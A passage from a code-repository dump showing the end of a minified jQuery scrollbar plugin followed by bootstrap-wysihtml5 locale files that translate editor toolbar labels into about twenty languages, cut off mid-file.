z=parseInt(p.obj.css(n),10);o.start=l?A.pageX:A.pageY;y.start=z=="auto"?0:z;if(!e){a(document).bind("mousemove",u);a(document).bind("mouseup",f);p.obj.bind("mouseup",f)}else{document.ontouchmove=function(B){B.preventDefault();u(B.touches[0])};document.ontouchend=f}}function x(B){if(h.ratio<1){var A=B||window.event,z=A.wheelDelta?A.wheelDelta/120:-A.detail/3;r-=z*g.wheel;r=Math.min((h[g.axis]-j[g.axis]),Math.max(0,r));p.obj.css(n,r/d.ratio);h.obj.css(n,-r);if(g.lockscroll||(r!==(h[g.axis]-j[g.axis])&&r!==0)){A=a.event.fix(A);A.preventDefault()}}}function u(z){if(h.ratio<1){if(g.invertscroll&&e){y.now=Math.min((m[g.axis]-p[g.axis]),Math.max(0,(y.start+(o.start-(l?z.pageX:z.pageY)))))}else{y.now=Math.min((m[g.axis]-p[g.axis]),Math.max(0,(y.start+((l?z.pageX:z.pageY)-o.start))))}r=y.now*d.ratio;h.obj.css(n,-r);p.obj.css(n,y.now)}}function f(){a("body").removeClass("noSelect");a(document).unbind("mousemove",u);a(document).unbind("mouseup",f);p.obj.unbind("mouseup",f);document.ontouchmove=document.ontouchend=null}return c()}}(jQuery)); -------------------------------------------------------------------------------- /Panel/includes/js/wysiwyg/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Untitled Document 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /Panel/includes/js/wysiwyg/locales/bootstrap-wysihtml5.ar-AR.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Arabic translation for bootstrap-wysihtml5 3 | */ 4 | (function($){ 5 | $.fn.wysihtml5.locale["mo-MD"] = { 6 | font_styles: { 7 | normal: "نص عادي", 8 | h1: "عنوان رئيسي 1", 9 | h2: "عنوان رئيسي 2", 10 | h3: "عنوان رئيسي 3", 11 | }, 12 | emphasis: { 13 | bold: "عريض", 14 | italic: "مائل", 15 | underline: "تحته خط" 16 | }, 17 | lists: { 18 | unordered: "قائمة منقطة", 19 | ordered: "قائمة مرقمة", 20 | outdent: "محاذاه للخارج", 21 | indent: "محاذاه للداخل" 22 | }, 23 | link: { 24 | insert: "إضافة رابط", 25 | cancel: "إلغاء" 26 | }, 27 | image: { 28 | insert: "إضافة صورة", 29 | cancel: "إلغاء" 30 | }, 31 | html: { 32 | edit: "تعديل HTML" 33 | }, 34 | 35 | colours: { 36 | black: "أسود", 37 | silver: "فضي", 38 | gray: "رمادي", 39 | maroon: "بني", 40 | red: "أحمر", 41 | purple: "بنفسجي", 42 | green: "أخضر", 43 | olive: "زيتوني", 44 | navy: "أزرق قاتم", 45 | blue: "أزرق نيلي", 46 | orange: "برتقالي" 47 | } 48 | }; 49 | }(jQuery)); 50 | -------------------------------------------------------------------------------- /Panel/includes/js/wysiwyg/locales/bootstrap-wysihtml5.bg-BG.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Bulgarian translation for bootstrap-wysihtml5 3 | */ 4 | (function($){ 5 | $.fn.wysihtml5.locale["bg-BG"] = { 6 | font_styles: { 7 | normal: "Нормален текст", 8 | h1: "Заглавие 1", 9 | h2: "Заглавие 2", 10 | h3: "Заглавие 3" 11 | }, 12 | emphasis: { 13 | bold: "Удебелен", 14 | italic: "Курсив", 15 | underline: "Подчертан" 16 | }, 17 | lists: { 18 | unordered: "Неподреден списък", 19 | ordered: "Подреден списък", 20 | outdent: "Намали отстояние", 21 | indent: "Увеличи отстояние" 22 | }, 23 | link: { 24 | insert: "Вмъкни връзка", 25 | cancel: "Отмени" 26 | }, 27 | image: { 28 | insert: "Вмъкни картинка", 29 | cancel: "Отмени" 30 | }, 31 | html: { 32 | edit: "Редакртирай HTML" 33 | }, 34 | colours: { 35 | black: "Черен", 36 | silver: "Сребърен", 37 | gray: "Сив", 38 | maroon: "Коричневый", 39 | red: "Червен", 40 | purple: "Виолетов", 41 | green: "Зелен", 42 | olive: "Маслинен", 43 | navy: "Морско син", 44 | blue: "Син", 45 | orange: "Оранжев" 46 | } 47 | }; 48 | }(jQuery)); 49 | 50 | -------------------------------------------------------------------------------- /Panel/includes/js/wysiwyg/locales/bootstrap-wysihtml5.ca-CT.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Catalan translation for bootstrap-wysihtml5 3 | */ 4 | (function($){ 5 | $.fn.wysihtml5.locale["ca-CT"] = { 6 | font_styles: { 7 | normal: "Text normal", 8 | h1: "Títol 1", 9 | h2: "Títol 2" 10 | }, 11 | emphasis: { 12 | bold: "Negreta", 13 | italic: "Cursiva", 14 | underline: "Subratllat" 15 | }, 16 | lists: { 17 | unordered: "Llista desordenada", 18 | ordered: "Llista ordenada", 19 | outdent: "Esborrar tabulació", 20 | indent: "Afegir tabulació" 21 | }, 22 | link: { 23 | insert: "Afegir enllaç", 24 | cancel: "Cancelar" 25 | }, 26 | image: { 27 | insert: "Afegir imatge", 28 | cancel: "Cancelar" 29 | }, 30 | html: { 31 | edit: "Editar HTML" 32 | }, 33 | colours: { 34 | black: "Negre", 35 | silver: "Plata", 36 | gray: "Gris", 37 | maroon: "Marró", 38 | red: "Vermell", 39 | purple: "Porpre", 40 | green: "Verd", 41 | olive: "Oliva", 42 | navy: "Blau marí", 43 | blue: "Blau", 44 | orange: "Taronja" 45 | } 46 | }; 47 | }(jQuery)); -------------------------------------------------------------------------------- /Panel/includes/js/wysiwyg/locales/bootstrap-wysihtml5.cs-CZ.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Czech translation for bootstrap-wysihtml5 3 | */ 4 | (function($){ 5 | $.fn.wysihtml5.locale["cs-CZ"] = { 6 | font_styles: { 7 | normal: "Normální text", 8 | h1: "Nadpis úrovně 1", 9 | h2: "Nadpis úrovně 2", 10 | h3: "Nadpis úrovně 3" 11 | }, 12 | emphasis: { 13 | bold: "Tučné", 14 | italic: "Kurzíva", 15 | underline: "Podtržení" 16 | }, 17 | lists: { 18 | unordered: "Seznam s odrážkami", 19 | ordered: "Číslovaný seznam", 20 | outdent: "Zvětšit odsazení", 21 | indent: "Zmenšit odsazení" 22 | }, 23 | link: { 24 | insert: "Vložit odkaz", 25 | cancel: "Zrušit" 26 | }, 27 | image: { 28 | insert: "Vložit obrázek", 29 | cancel: "Zrušit" 30 | }, 31 | html: { 32 | edit: "Upravit HTML" 33 | }, 34 | colours: { 35 | black: "Černá", 36 | silver: "Stříbrná", 37 | gray: "Šedá", 38 | maroon: "Vínová", 39 | red: "Červená", 40 | purple: "Fialová", 41 | green: "Zelená", 42 | olive: "Olivová", 43 | navy: "Tmavomodrá", 44 | blue: "Modrá", 45 | orange: "Oranžová" 46 | } 47 | }; 48 | }(jQuery)); 49 | -------------------------------------------------------------------------------- /Panel/includes/js/wysiwyg/locales/bootstrap-wysihtml5.de-DE.js: -------------------------------------------------------------------------------- 1 | /** 2 | * German translation for bootstrap-wysihtml5 3 | */ 4 | (function($){ 5 | $.fn.wysihtml5.locale["de-DE"] = { 6 | font_styles: { 7 | normal: "Normaler Text", 8 | h1: "Überschrift 1", 9 | h2: "Überschrift 2", 10 | h3: "Überschrift 3" 11 | }, 12 | emphasis: { 13 | bold: "Fett", 14 | italic: "Kursiv", 15 | underline: "Unterstrichen" 16 | }, 17 | lists: { 18 | unordered: "Ungeordnete Liste", 19 | ordered: "Geordnete Liste", 20 | outdent: "Einzug verkleinern", 21 | indent: "Einzug vergrößern" 22 | }, 23 | link: { 24 | insert: "Link einfügen", 25 | cancel: "Abbrechen" 26 | }, 27 | image: { 28 | insert: "Bild einfügen", 29 | cancel: "Abbrechen" 30 | }, 31 | html: { 32 | edit: "HTML bearbeiten" 33 | }, 34 | colours: { 35 | black: "Schwarz", 36 | silver: "Silber", 37 | gray: "Grau", 38 | maroon: "Kastanienbraun", 39 | red: "Rot", 40 | purple: "Violett", 41 | green: "Grün", 42 | olive: "Olivgrün", 43 | navy: "Marineblau", 44 | blue: "Blau", 45 | orange: "Orange" 46 | } 47 | }; 48 | }(jQuery)); 49 | -------------------------------------------------------------------------------- /Panel/includes/js/wysiwyg/locales/bootstrap-wysihtml5.el-GR.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Greek translation for bootstrap-wysihtml5 3 | */ 4 | (function($){ 5 | $.fn.wysihtml5.locale["el-GR"] = { 6 | font_styles: { 7 | normal: "Απλό κείμενο", 8 | h1: "Κεφαλίδα 1", 9 | h2: "Κεφαλίδα 2", 10 | h3: "Κεφαλίδα 3" 11 | }, 12 | emphasis: { 13 | bold: "B", 14 | italic: "I", 15 | underline: "U" 16 | }, 17 | lists: { 18 | unordered: "Λίστα με κουκκίδες", 19 | ordered: "Αριθμημένη λίστα", 20 | outdent: "Μείωση εσοχής", 21 | indent: "Αύξηση εσοχής" 22 | }, 23 | link: { 24 | insert: "Εισαγωγή Συνδέσμου", 25 | cancel: "Άκυρο" 26 | }, 27 | image: { 28 | insert: "Εισαγωγή Εικόνας", 29 | cancel: "Άκυρο" 30 | }, 31 | html: { 32 | edit: "Επεξεργασία HTML" 33 | }, 34 | colours: { 35 | black: "Μαύρο", 36 | silver: "Ασημί", 37 | gray: "Γκρι", 38 | maroon: "Καφέ", 39 | red: "Κόκκινο", 40 | purple: "Μωβ", 41 | green: "Πράσινο", 42 | olive: "Λαδί", 43 | navy: "Βαθύ Μπλε", 44 | blue: "Μπλε", 45 | orange: "Πορτοκαλί" 46 | } 47 | }; 48 | }(jQuery)); -------------------------------------------------------------------------------- /Panel/includes/js/wysiwyg/locales/bootstrap-wysihtml5.es-AR.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Spanish Argenina translation for bootstrap-wysihtml5 3 | */ 4 | 5 | (function($){ 6 | $.fn.wysihtml5.locale["es-AR"] = { 7 | font_styles: { 8 | normal: "Texto normal", 9 | h1: "Título 1", 10 | h2: "Título 2", 11 | h3: "Título 3" 12 | }, 13 | emphasis: { 14 | bold: "Negrita", 15 | italic: "Itálica", 16 | underline: "Subrayado" 17 | }, 18 | lists: { 19 | ordered: "Lista ordenada", 20 | unordered: "Lista desordenada", 21 | indent: "Agregar sangría", 22 | outdent: "Eliminar sangría" 23 | }, 24 | link: { 25 | insert: "Insertar enlace", 26 | cancel: "Cancelar" 27 | }, 28 | image: { 29 | insert: "Insertar imágen", 30 | cancel: "Cancelar" 31 | }, 32 | html: { 33 | edit: "Editar HTML" 34 | }, 35 | colours: { 36 | black: "Negro", 37 | silver: "Plata", 38 | gray: "Gris", 39 | maroon: "Marrón", 40 | red: "Rojo", 41 | purple: "Púrpura", 42 | green: "Verde", 43 | olive: "Oliva", 44 | navy: "Azul Marino", 45 | blue: "Azul", 46 | orange: "Naranja" 47 | } 48 | }; 49 | }(jQuery)); 50 | -------------------------------------------------------------------------------- /Panel/includes/js/wysiwyg/locales/bootstrap-wysihtml5.es-ES.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Uruguayan spanish translation for bootstrap-wysihtml5 3 | */ 4 | (function($){ 5 | $.fn.wysihtml5.locale["es-ES"] = { 6 | font_styles: { 7 | normal: "Texto normal", 8 | h1: "Título 1", 9 | h2: "Título 2", 10 | h3: "Título 3" 11 | }, 12 | emphasis: { 13 | bold: "Negrita", 14 | italic: "Itálica", 15 | underline: "Subrayado" 16 | }, 17 | lists: { 18 | unordered: "Lista desordenada", 19 | ordered: "Lista ordenada", 20 | outdent: "Eliminar sangría", 21 | indent: "Agregar sangría" 22 | }, 23 | link: { 24 | insert: "Insertar enlace", 25 | cancel: "Cancelar" 26 | }, 27 | image: { 28 | insert: "Insertar imágen", 29 | cancel: "Cancelar" 30 | }, 31 | html: { 32 | edit: "Editar HTML" 33 | }, 34 | colours: { 35 | black: "Negro", 36 | silver: "Plata", 37 | gray: "Gris", 38 | maroon: "Marrón", 39 | red: "Rojo", 40 | purple: "Púrpura", 41 | green: "Verde", 42 | olive: "Oliva", 43 | navy: "Azul Marino", 44 | blue: "Azul", 45 | orange: "Naranja" 46 | } 47 | }; 48 | }(jQuery)); 49 | -------------------------------------------------------------------------------- /Panel/includes/js/wysiwyg/locales/bootstrap-wysihtml5.fr-FR.js: -------------------------------------------------------------------------------- 1 | /** 2 | * French translation for bootstrap-wysihtml5 3 | */ 4 | (function($){ 5 | $.fn.wysihtml5.locale["fr-FR"] = { 6 | font_styles: { 7 | normal: "Texte normal", 8 | h1: "Titre 1", 9 | h2: "Titre 2", 10 | h3: "Titre 3" 11 | }, 12 | emphasis: { 13 | bold: "Gras", 14 | italic: "Italique", 15 | underline: "Souligné" 16 | }, 17 | lists: { 18 | unordered: "Liste à puces", 19 | ordered: "Liste numérotée", 20 | outdent: "Diminuer le retrait", 21 | indent: "Augmenter le retrait", 22 | indered: "Augmenter le retrait" 23 | }, 24 | link: { 25 | insert: "Insérer un lien", 26 | cancel: "Annuler" 27 | }, 28 | image: { 29 | insert: "Insérer une image", 30 | cancel: "Annuler" 31 | }, 32 | html: { 33 | edit: "Editer en HTML" 34 | }, 35 | colours: { 36 | black: "Noir", 37 | silver: "Gris clair", 38 | gray: "Gris", 39 | maroon: "Marron", 40 | red: "Rouge", 41 | purple: "Pourpre", 42 | green: "Vert", 43 | olive: "Olive", 44 | navy: "Bleu marine", 45 | blue: "Bleu", 46 | orange: "Orange" 47 | } 48 | }; 49 | }(jQuery)); -------------------------------------------------------------------------------- /Panel/includes/js/wysiwyg/locales/bootstrap-wysihtml5.hr-HR.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Croatian localisation for bootstrap-wysihtml5 3 | */ 4 | (function($){ 5 | $.fn.wysihtml5.locale["hr-HR"] = { 6 | font_styles: { 7 | normal: "Normalan tekst", 8 | h1: "Naslov 1", 9 | h2: "Naslov 2", 10 | h3: "Naslov 3" 11 | }, 12 | emphasis: { 13 | bold: "Podebljano", 14 | italic: "Nakrivljeno", 15 | underline: "Podcrtano" 16 | }, 17 | lists: { 18 | unordered: "Nesortirana lista", 19 | ordered: "Sortirana lista", 20 | outdent: "Izdubi", 21 | indent: "Udubi" 22 | }, 23 | link: { 24 | insert: "Umetni poveznicu", 25 | cancel: "Otkaži" 26 | }, 27 | image: { 28 | insert: "Umetni sliku", 29 | cancel: "Otkaži" 30 | }, 31 | html: { 32 | edit: "Izmjeni HTML" 33 | }, 34 | colours: { 35 | black: "Crna", 36 | silver: "Srebrna", 37 | gray: "Siva", 38 | maroon: "Kestenjasta", 39 | red: "Crvena", 40 | purple: "Ljubičasta", 41 | green: "Zelena", 42 | olive: "Maslinasta", 43 | navy: "Mornarska", 44 | blue: "Plava", 45 | orange: "Narandžasta" 46 | } 47 | }; 48 | }(jQuery)); -------------------------------------------------------------------------------- /Panel/includes/js/wysiwyg/locales/bootstrap-wysihtml5.it-IT.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Italian translation for bootstrap-wysihtml5 3 | */ 4 | (function($){ 5 | $.fn.wysihtml5.locale["it-IT"] = { 6 | font_styles: { 7 | normal: "Testo normale", 8 | h1: "Titolo 1", 9 | h2: "Titolo 2" 10 | }, 11 | emphasis: { 12 | bold: "Grassetto", 13 | italic: "Corsivo", 14 | underline: "Sottolineato" 15 | }, 16 | lists: { 17 | unordered: "Lista non ordinata", 18 | ordered: "Lista ordinata", 19 | outdent: "Elimina rientro", 20 | indent: "Aggiungi rientro" 21 | }, 22 | link: { 23 | insert: "Inserisci link", 24 | cancel: "Annulla" 25 | }, 26 | image: { 27 | insert: "Inserisci immagine", 28 | cancel: "Annulla" 29 | }, 30 | html: { 31 | edit: "Modifica HTML" 32 | }, 33 | colours: { 34 | black: "Nero", 35 | silver: "Argento", 36 | gray: "Grigio", 37 | maroon: "Marrone", 38 | red: "Rosso", 39 | purple: "Viola", 40 | green: "Verde", 41 | olive: "Oliva", 42 | navy: "Blu Marino", 43 | blue: "Blu", 44 | orange: "Arancio" 45 | } 46 | }; 47 | }(jQuery)); -------------------------------------------------------------------------------- /Panel/includes/js/wysiwyg/locales/bootstrap-wysihtml5.ja-JP.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Japanese translation for bootstrap-wysihtml5 3 | */ 4 | (function($){ 5 | $.fn.wysihtml5.locale["ja-JP"] = { 6 | font_styles: { 7 | normal: "通常の文字", 8 | h1: "見出し1", 9 | h2: "見出し2", 10 | h3: "見出し3" 11 | }, 12 | emphasis: { 13 | bold: "太字", 14 | italic: "斜体", 15 | underline: "下線" 16 | }, 17 | lists: { 18 | unordered: "点字リスト", 19 | ordered: "数字リスト", 20 | outdent: "左寄せ", 21 | indent: "右寄せ" 22 | }, 23 | link: { 24 | insert: "リンクの挿入", 25 | cancel: "キャンセル" 26 | }, 27 | image: { 28 | insert: "画像の挿入", 29 | cancel: "キャンセル" 30 | }, 31 | html: { 32 | edit: "HTMLを編集" 33 | }, 34 | colours: { 35 | black: "黒色", 36 | silver: "シルバー", 37 | gray: "グレー", 38 | maroon: "栗色", 39 | red: "赤色", 40 | purple: "紫色", 41 | green: "緑色", 42 | olive: "オリーブ", 43 | navy: "ネイビー", 44 | blue: "青色", 45 | orange: "オレンジ" 46 | } 47 | 48 | }; 49 | }(jQuery)); 50 | -------------------------------------------------------------------------------- /Panel/includes/js/wysiwyg/locales/bootstrap-wysihtml5.ko-KR.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Korean translation for bootstrap-wysihtml5 3 | */ 4 | (function($){ 5 | $.fn.wysihtml5.locale["ko-KR"] = { 6 | font_styles: { 7 | normal: "일반", 8 | h1: "헤드라인 1", 9 | h2: "헤드라인 2", 10 | h3: "헤드라인 3" 11 | }, 12 | emphasis: { 13 | bold: "굵게", 14 | italic: "기울게", 15 | underline: "밑줄" 16 | }, 17 | lists: { 18 | unordered: "기호목록", 19 | ordered: "숫자목록", 20 | outdent: "내어쓰기", 21 | indent: "들여쓰기" 22 | }, 23 | link: { 24 | insert: "링크 삽입", 25 | cancel: "취소" 26 | }, 27 | image: { 28 | insert: "이미지 삽입", 29 | cancel: "취소" 30 | }, 31 | html: { 32 | edit: "HTML 편집" 33 | }, 34 | colours: { 35 | black: "검은색", 36 | silver: "은색", 37 | gray: "회색", 38 | maroon: "고동색", 39 | red: "빨간색", 40 | purple: "보라색", 41 | green: "초록색", 42 | olive: "올리브", 43 | navy: "네이비", 44 | blue: "파란색", 45 | orange: "주황색" 46 | } 47 | 48 | }; 49 | }(jQuery)); 50 | -------------------------------------------------------------------------------- /Panel/includes/js/wysiwyg/locales/bootstrap-wysihtml5.lt-LT.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Lithuanian translation for bootstrap-wysihtml5 3 | */ 4 | (function($){ 5 | $.fn.wysihtml5.locale["lt-LT"] = { 6 | font_styles: { 7 | normal: "Normalus", 8 | h1: "Antraštė 1", 9 | h2: "Antraštė 2", 10 | h3: "Antraštė 3" 11 | }, 12 | emphasis: { 13 | bold: "Pastorintas", 14 | italic: "Kursyvas", 15 | underline: "Pabrauktas" 16 | }, 17 | lists: { 18 | unordered: "Suženklintas sąrašas", 19 | ordered: "Numeruotas sąrašas", 20 | outdent: "Padidinti įtrauką", 21 | indent: "Sumažinti įtrauką" 22 | }, 23 | link: { 24 | insert: "Įterpti nuorodą", 25 | cancel: "Atšaukti" 26 | }, 27 | image: { 28 | insert: "Įterpti atvaizdą", 29 | cancel: "Atšaukti" 30 | }, 31 | html: { 32 | edit: "Redaguoti HTML" 33 | }, 34 | colours: { 35 | black: "Juoda", 36 | silver: "Sidabrinė", 37 | gray: "Pilka", 38 | maroon: "Kaštoninė", 39 | red: "Raudona", 40 | purple: "Violetinė", 41 | green: "Žalia", 42 | olive: "Gelsvai žalia", 43 | navy: "Tamsiai mėlyna", 44 | blue: "Mėlyna", 45 | orange: "Oranžinė" 46 | } 47 | }; 48 | }(jQuery)); -------------------------------------------------------------------------------- /Panel/includes/js/wysiwyg/locales/bootstrap-wysihtml5.mo-MD.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Moldavian translation for bootstrap-wysihtml5 3 | */ 4 | (function($){ 5 | $.fn.wysihtml5.locale["mo-MD"] = { 6 | font_styles: { 7 | normal: "Normal", 8 | h1: "Titlu 1", 9 | h2: "Titlu 2" 10 | }, 11 | emphasis: { 12 | bold: "Bold", 13 | italic: "Cursiv", 14 | underline: "Accentuat" 15 | }, 16 | lists: { 17 | unordered: "Neordonata", 18 | ordered: "Ordonata", 19 | outdent: "Margine", 20 | indent: "zimțuire" 21 | }, 22 | link: { 23 | insert: "Indroduce link-ul", 24 | cancel: "Anula" 25 | }, 26 | image: { 27 | insert: "Insera imagina", 28 | cancel: "Anula" 29 | }, 30 | html: { 31 | edit: "Editare HTML" 32 | }, 33 | 34 | colours: { 35 | black: "Negru", 36 | silver: "Argint", 37 | gray: "Gri", 38 | maroon: "Castaniu", 39 | red: "Roșu", 40 | purple: "Violet", 41 | green: "Verde", 42 | olive: "Oliv", 43 | navy: "Marin", 44 | blue: "Albastru", 45 | orange: "Portocaliu" 46 | } 47 | }; 48 | }(jQuery)); -------------------------------------------------------------------------------- /Panel/includes/js/wysiwyg/locales/bootstrap-wysihtml5.nb-NB.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Norwegian translation for bootstrap-wysihtml5 3 | */ 4 | (function($){ 5 | $.fn.wysihtml5.locale["nb-NB"] = { 6 | font_styles: { 7 | normal: "Normal tekst", 8 | h1: "Tittel 1", 9 | h2: "Tittel 2", 10 | h3: "Tittel 3" 11 | }, 12 | emphasis: { 13 | bold: "Fet", 14 | italic: "Kursiv", 15 | underline: "Understrekning" 16 | }, 17 | lists: { 18 | unordered: "Usortert", 19 | ordered: "Sortert", 20 | outdent: "Detabuler", 21 | indent: "Tabuler", 22 | indered: "Tabuler" 23 | }, 24 | link: { 25 | insert: "Sett inn lenke", 26 | cancel: "Avbryt" 27 | }, 28 | image: { 29 | insert: "Sett inn bilde", 30 | cancel: "Avbryt" 31 | }, 32 | html: { 33 | edit: "Rediger HTML" 34 | }, 35 | colours: { 36 | black: "Svart", 37 | silver: "Sølv", 38 | gray: "Grå", 39 | maroon: "Brun", 40 | red: "Rød", 41 | purple: "Lilla", 42 | green: "Grønn", 43 | olive: "Oliven", 44 | navy: "Marineblå", 45 | blue: "Blå", 46 | orange: "Oransj" 47 | } 48 | }; 49 | }(jQuery)); 50 | -------------------------------------------------------------------------------- /Panel/includes/js/wysiwyg/locales/bootstrap-wysihtml5.nl-NL.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Dutch translation for bootstrap-wysihtml5 3 | */ 4 | (function($){ 5 | $.fn.wysihtml5.locale["nl-NL"] = { 6 | font_styles: { 7 | normal: "Normale Tekst", 8 | h1: "Kop 1", 9 | h2: "Kop 2", 10 | h3: "Kop 3" 11 | }, 12 | emphasis: { 13 | bold: "Vet", 14 | italic: "Cursief", 15 | underline: "Onderstrepen" 16 | }, 17 | lists: { 18 | unordered: "Ongeordende lijst", 19 | ordered: "Geordende lijst", 20 | outdent: "Inspringen verkleinen", 21 | indent: "Inspringen vergroten" 22 | }, 23 | link: { 24 | insert: "Link invoegen", 25 | cancel: "Annuleren" 26 | }, 27 | image: { 28 | insert: "Afbeelding invoegen", 29 | cancel: "Annuleren" 30 | }, 31 | html: { 32 | edit: "HTML bewerken" 33 | }, 34 | colours: { 35 | black: "Zwart", 36 | silver: "Zilver", 37 | gray: "Grijs", 38 | maroon: "Kastanjebruin", 39 | red: "Rood", 40 | purple: "Paars", 41 | green: "Groen", 42 | olive: "Olijfgroen", 43 | navy: "Donkerblauw", 44 | blue: "Blauw", 45 | orange: "Oranje" 46 | } 47 | }; 48 | }(jQuery)); 49 | -------------------------------------------------------------------------------- /Panel/includes/js/wysiwyg/locales/bootstrap-wysihtml5.pl-PL.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Polish translation for bootstrap-wysihtml5 3 | */ 4 | (function($){ 5 | $.fn.wysihtml5.locale["pl-PL"] = { 6 | font_styles: { 7 | normal: "Tekst podstawowy", 8 | h1: "Nagłówek 1", 9 | h2: "Nagłówek 2", 10 | h3: "Nagłówek 3" 11 | }, 12 | emphasis: { 13 | bold: "Pogrubienie", 14 | italic: "Kursywa", 15 | underline: "Podkreślenie" 16 | }, 17 | lists: { 18 | unordered: "Lista wypunktowana", 19 | ordered: "Lista numerowana", 20 | outdent: "Zwiększ wcięcie", 21 | indent: "Zmniejsz wcięcie" 22 | }, 23 | link: { 24 | insert: "Wstaw odnośnik", 25 | cancel: "Anuluj" 26 | }, 27 | image: { 28 | insert: "Wstaw obrazek", 29 | cancel: "Anuluj" 30 | }, 31 | html: { 32 | edit: "Edycja HTML" 33 | }, 34 | colours: { 35 | black: "Czarny", 36 | silver: "Srebrny", 37 | gray: "Szary", 38 | maroon: "Kasztanowy", 39 | red: "Czerwony", 40 | purple: "Fioletowy", 41 | green: "Zielony", 42 | olive: "Oliwkowy", 43 | navy: "Granatowy", 44 | blue: "Niebieski", 45 | orange: "Pomarańczowy" 46 | } 47 | }; 48 | }(jQuery)); -------------------------------------------------------------------------------- /Panel/includes/js/wysiwyg/locales/bootstrap-wysihtml5.pt-BR.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Brazilian portuguese translation for bootstrap-wysihtml5 3 | */ 4 | (function($){ 5 | $.fn.wysihtml5.locale["pt-BR"] = { 6 | font_styles: { 7 | normal: "Texto normal", 8 | h1: "Título 1", 9 | h2: "Título 2", 10 | h3: "Título 3" 11 | }, 12 | emphasis: { 13 | bold: "Negrito", 14 | italic: "Itálico", 15 | underline: "Sublinhado" 16 | }, 17 | lists: { 18 | unordered: "Lista", 19 | ordered: "Lista numerada", 20 | outdent: "Remover indentação", 21 | indent: "Indentar" 22 | }, 23 | link: { 24 | insert: "Inserir link", 25 | cancel: "Cancelar" 26 | }, 27 | image: { 28 | insert: "Inserir imagem", 29 | cancel: "Cancelar" 30 | }, 31 | html: { 32 | edit: "Editar HTML" 33 | }, 34 | colours: { 35 | black: "Preto", 36 | silver: "Prata", 37 | gray: "Cinza", 38 | maroon: "Marrom", 39 | red: "Vermelho", 40 | purple: "Roxo", 41 | green: "Verde", 42 | olive: "Oliva", 43 | navy: "Marinho", 44 | blue: "Azul", 45 | orange: "Laranja" 46 | } 47 | }; 48 | }(jQuery)); -------------------------------------------------------------------------------- /Panel/includes/js/wysiwyg/locales/bootstrap-wysihtml5.ru-RU.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Russian translation for bootstrap-wysihtml5 3 | */ 4 | (function($){ 5 | $.fn.wysihtml5.locale["ru-RU"] = { 6 | font_styles: { 7 | normal: "Обычный текст", 8 | h1: "Заголовок 1", 9 | h2: "Заголовок 2", 10 | h3: "Заголовок 3" 11 | }, 12 | emphasis: { 13 | bold: "Полужирный", 14 | italic: "Курсив", 15 | underline: "Подчёркнутый" 16 | }, 17 | lists: { 18 | unordered: "Маркированный список", 19 | ordered: "Нумерованный список", 20 | outdent: "Уменьшить отступ", 21 | indent: "Увеличить отступ" 22 | }, 23 | link: { 24 | insert: "Вставить ссылку", 25 | cancel: "Отмена" 26 | }, 27 | image: { 28 | insert: "Вставить изображение", 29 | cancel: "Отмена" 30 | }, 31 | html: { 32 | edit: "HTML код" 33 | }, 34 | colours: { 35 | black: "Чёрный", 36 | silver: "Серебряный", 37 | gray: "Серый", 38 | maroon: "Коричневый", 39 | red: "Красный", 40 | purple: "Фиолетовый", 41 | green: "Зелёный", 42 | olive: "Оливковый", 43 | navy: "Тёмно-синий", 44 | blue: "Синий", 45 | orange: "Оранжевый" 46 | } 47 | }; 48 | }(jQuery)); 49 | 50 | -------------------------------------------------------------------------------- /Panel/includes/js/wysiwyg/locales/bootstrap-wysihtml5.sk-SK.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Slovak translation for bootstrap-wysihtml5 3 | */ 4 | (function($){ 5 | $.fn.wysihtml5.locale["sk-SK"] = { 6 | font_styles: { 7 | normal: "Normálny text", 8 | h1: "Nadpis úrovne 1", 9 | h2: "Nadpis úrovne 2", 10 | h3: "Nadpis úrovne 3" 11 | }, 12 | emphasis: { 13 | bold: "Tučné", 14 | italic: "Kurzíva", 15 | underline: "Podčiarknuté" 16 | }, 17 | lists: { 18 | unordered: "Neusporiadaný zoznam", 19 | ordered: "Číslovaný zoznam", 20 | outdent: "Zväčšiť odsadenie", 21 | indent: "Zmenšiť odsadenie" 22 | }, 23 | link: { 24 | insert: "Vložiť odkaz", 25 | cancel: "Zrušiť" 26 | }, 27 | image: { 28 | insert: "Vložiť obrázok", 29 | cancel: "Zrušiť" 30 | }, 31 | html: { 32 | edit: "Editovať HTML" 33 | }, 34 | colours: { 35 | black: "Čierna", 36 | silver: "Strieborná", 37 | gray: "Šedá", 38 | maroon: "Bordová", 39 | red: "Červená", 40 | purple: "Fialová", 41 | green: "Zelená", 42 | olive: "Olivová", 43 | navy: "Tmavomodrá", 44 | blue: "Modrá", 45 | orange: "Oranžová" 46 | } 47 | }; 48 | }(jQuery)); 49 | -------------------------------------------------------------------------------- /Panel/includes/js/wysiwyg/locales/bootstrap-wysihtml5.sv-SE.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Swedish translation for bootstrap-wysihtml5 3 | */ 4 | (function($){ 5 | $.fn.wysihtml5.locale["sv-SE"] = { 6 | font_styles: { 7 | normal: "Normal Text", 8 | h1: "Rubrik 1", 9 | h2: "Rubrik 2", 10 | h3: "Rubrik 3" 11 | }, 12 | emphasis: { 13 | bold: "Fet", 14 | italic: "Kursiv", 15 | underline: "Understruken" 16 | }, 17 | lists: { 18 | unordered: "Osorterad lista", 19 | ordered: "Sorterad lista", 20 | outdent: "Minska indrag", 21 | indent: "Öka indrag" 22 | }, 23 | link: { 24 | insert: "Lägg till länk", 25 | cancel: "Avbryt" 26 | }, 27 | image: { 28 | insert: "Lägg till Bild", 29 | cancel: "Avbryt" 30 